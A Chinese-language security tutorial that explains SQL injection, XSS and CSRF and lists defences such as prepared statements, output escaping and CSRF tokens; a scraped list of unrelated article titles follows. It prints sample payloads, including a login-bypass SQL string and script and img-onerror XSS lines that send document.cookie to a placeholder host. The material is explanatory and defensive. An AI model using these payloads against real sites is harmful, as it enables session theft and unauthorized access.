如何避免sql注入?

1、概念

SQL 注入(SQL Injection),是 Web 开发中最常见的一种安全漏洞。

可以用它来从数据库获取敏感信息、利用数据库的特性执行添加用户、导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

2、造成 SQL 注入的原因

程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 脚本,程序在接收后错误的将攻击者的输入作为 SQL 语句的一部分执行,导致原始的查询逻辑被改变,执行了攻击者精心构造的恶意 SQL 语句。

如 从用户表根据用户名 ConstXiong 和密码 123 查用户信息

select * from user where username = 'ConstXiong' and password = '123'

恶意修改用户名参数 ConstXiong -> ConstXiong’ or 1=1 –

select * from user where username = 'ConstXiong' or 1=1 --' and password = '123'

SQL 中 – 是注释标记,如果上面这个 SQL 被执行,就可以让攻击者在不知道任何用户名和密码的情况下成功登录。

3、预防 SQL 注入攻击的方法

  • 严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
  • 校验参数的数据格式是否合法(可以使用正则或特殊字符的判断)
  • 对进入数据库的特殊字符进行转义处理,或编码转换
  • 预编译 SQL(Java 中使用 PreparedStatement),参数化查询方式,避免 SQL 拼接
  • 发布前,利用工具进行 SQL 注入检测
  • 报错信息不要包含 SQL 信息输出到 Web 页面

什么是XSS攻击,如何避免?

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。

原理

攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。

种类

1、DOM Based XSS:基于网页 DOM 结构的攻击

例如:

  • input 标签 value 属性赋值
//jsp
<input type="text" value="<%= getParameter("content") %>">

访问

http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
  • 利用 a 标签的 href 属性的赋值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>

访问

http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样
  • image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存储式XSS漏洞

<form action="save.do"><input name="content" value="">
</form>

输入 ,提交
当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie

预防思路

  • web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理
  • 后台输出页面的时候,也需要对输出内容进行转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库)
  • 前端对 html 标签属性、css 属性赋值的地方进行校验

注意:

各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。

<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E

需要考虑项目中的一些要求,比如转义会加大存储。可以考虑自定义函数,部分字符转义。

什么是CSRF攻击,如何避免?

CSRF:Cross Site Request Forgery(跨站点请求伪造)。**
CSRF 攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。

避免方法:

  • CSRF 漏洞进行检测的工具,如 CSRFTester、CSRF Request Builder…
  • 验证 HTTP Referer 字段
  • 添加并验证 token
  • 添加自定义 http 请求头
  • 敏感操作添加验证码
  • 使用 post 请求

网络安全(数据库等)相关推荐

  1. 网络安全----数据库1

    数据库 什么是数据库 关系型数据库和非关系型数据库 关系型数据库 非关系型数据库 数据库基本命令 什么是数据库 数据库管理系统(DBMS)由数据库及其管理软件组成的系统. 数据库负责储存 DBMS负责 ...

  2. 网络安全——数据库基础知识

    一.数据库概述 数据库管理系统有:Mysql. sql server等 关系型数据库是写进硬盘的,而非关系型数据库速度比较快,写进内存的,关系型数据库遵循ACID理论,而非关系型数据库不一定 这几年的 ...

  3. 2022年中职组网络安全数据库渗透题目

    首先来大体看一下题目: 第一道题目: 要找到web的渗透界面: 我们先不急,先用nmap扫描一下: 发现有80端口,现在来访问一下网站: 发现这个界面,题目做多了就会知道,这个界面出现说明后台目录是隐 ...

  4. 黑客攻防:关于工业网络安全的那些事

    1.概述 随着工业信息化的快速发展以及工业4.0时代的到来,工业化与信息化的融合趋势越来越明显,工业控制系统也在利用最新的计算机网络技术来提高系统间的集成.互联以及信息化管理水平.未来为了提高生产效率 ...

  5. 区块链网络安全平台Hapi Protocol将在Poolz上进行 IDO

    区块链网络安全平台HAPI将在去中心化跨链IDO平台Poolz上进行 IDO,目前暂未披露细节.据介绍,HAPI为DeFi项目创建链上网络安全数据库,帮助DeFi平台阻截可疑交易及违法资金来源.HAP ...

  6. 区块链网络安全平台HAPI获Genesis Block Ventures投资

    投资公司Genesis Block Ventures(GBV)宣布投资区块链网络安全平台HAPI,暂未披露投资金额.HAPI为DeFi项目创建链上网络安全数据库,旨在帮助DeFi平台阻截可疑交易及违法 ...

  7. Microsoft SQL Server 数据库 错误号大全

    panchzh :Microsoft SQL Server 数据库 错误号大全 0 操作成功完成. 1 功能错误. 2 系统找不到指定的文件. 3 系统找不到指定的路径. 4 系统无法打开文件. 5 ...

  8. oracle物化视图和表的区别,数据库中普通视图和物化视图有什么区别?

    对于增量刷新选项,如果在子查询中存在分析函数,则物化视图不起作用. Refresh方法- COMPLETE子句 完全刷新重新生成整个视图,如果请求完全刷新,oracle会完成 完全刷新即使增量刷新可用 ...

  9. GetLastError 函数返回值大全

    2019独角兽企业重金招聘Python工程师标准>>> GetLastError返回的值通过在api函数中调用SetLastError或SetLastErrorEx设置.函数 并无必 ...

  10. GetLastError编号含义

    GetLastError返回的值通过在api函数中调用SetLastError或SetLastErrorEx设置.函数 并无必要设置上一次错误信息,所以即使一次GetLastError调用返回的是零值 ...

最新文章

  1. 机器学习中的7种数据偏见
  2. Oracle 行列转换总结
  3. python excelwriter保存路径_python管理文件神器 os.walk
  4. ios绘图基本图形之线条
  5. 设计模式理解:中介者模式(Mediator)
  6. Ajax中最有名axios插件(只应用于Ajax)(post方法,官网写错了,应是字符串格式)...
  7. 制作bat脚本,抓取Android设备logcat
  8. Android 阅读器架构图,网上收集,留做存货
  9. 关刀机器人_小学机器人活动总结
  10. luogu_1984 [SDOI2008]烧水问题
  11. linux 定位 踩内存_应用稳定性优化系列(二),Crash/Tombstone问题分析及定位
  12. SAP常用TCODE收藏
  13. Qt TCP服务端、客户端;QTcpSocket
  14. F(x) - NU ABO 韩中(繁)ass字幕
  15. (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  16. VB MsgBox 函数 了解一下
  17. 虚拟化与元宇宙:人类文明演化的奇点与治理
  18. 徐文长传奇李舟楫的博客新浪博客
  19. 2023软考信息系统项目管理师论文写作
  20. jq 之 download下载图片或文件功能,以及一个神奇的download属性!

热门文章

  1. ADDA: Adversarial Discriminative Domain Adaptation
  2. JavaScript - this指向以及强行改变this指向
  3. Linux 解压,压缩文件--tar 命令
  4. Android单元测试思路
  5. Matlab实现匿名函数计算
  6. Synopsys DC 笔记
  7. Java 对象的克隆Clone和必须了解的浅拷贝与深拷贝
  8. autocad2014点击保存闪退_cad2014闪退的原因和解决方法
  9. Ubuntu 网络管理
  10. 通达OA使用手册(一)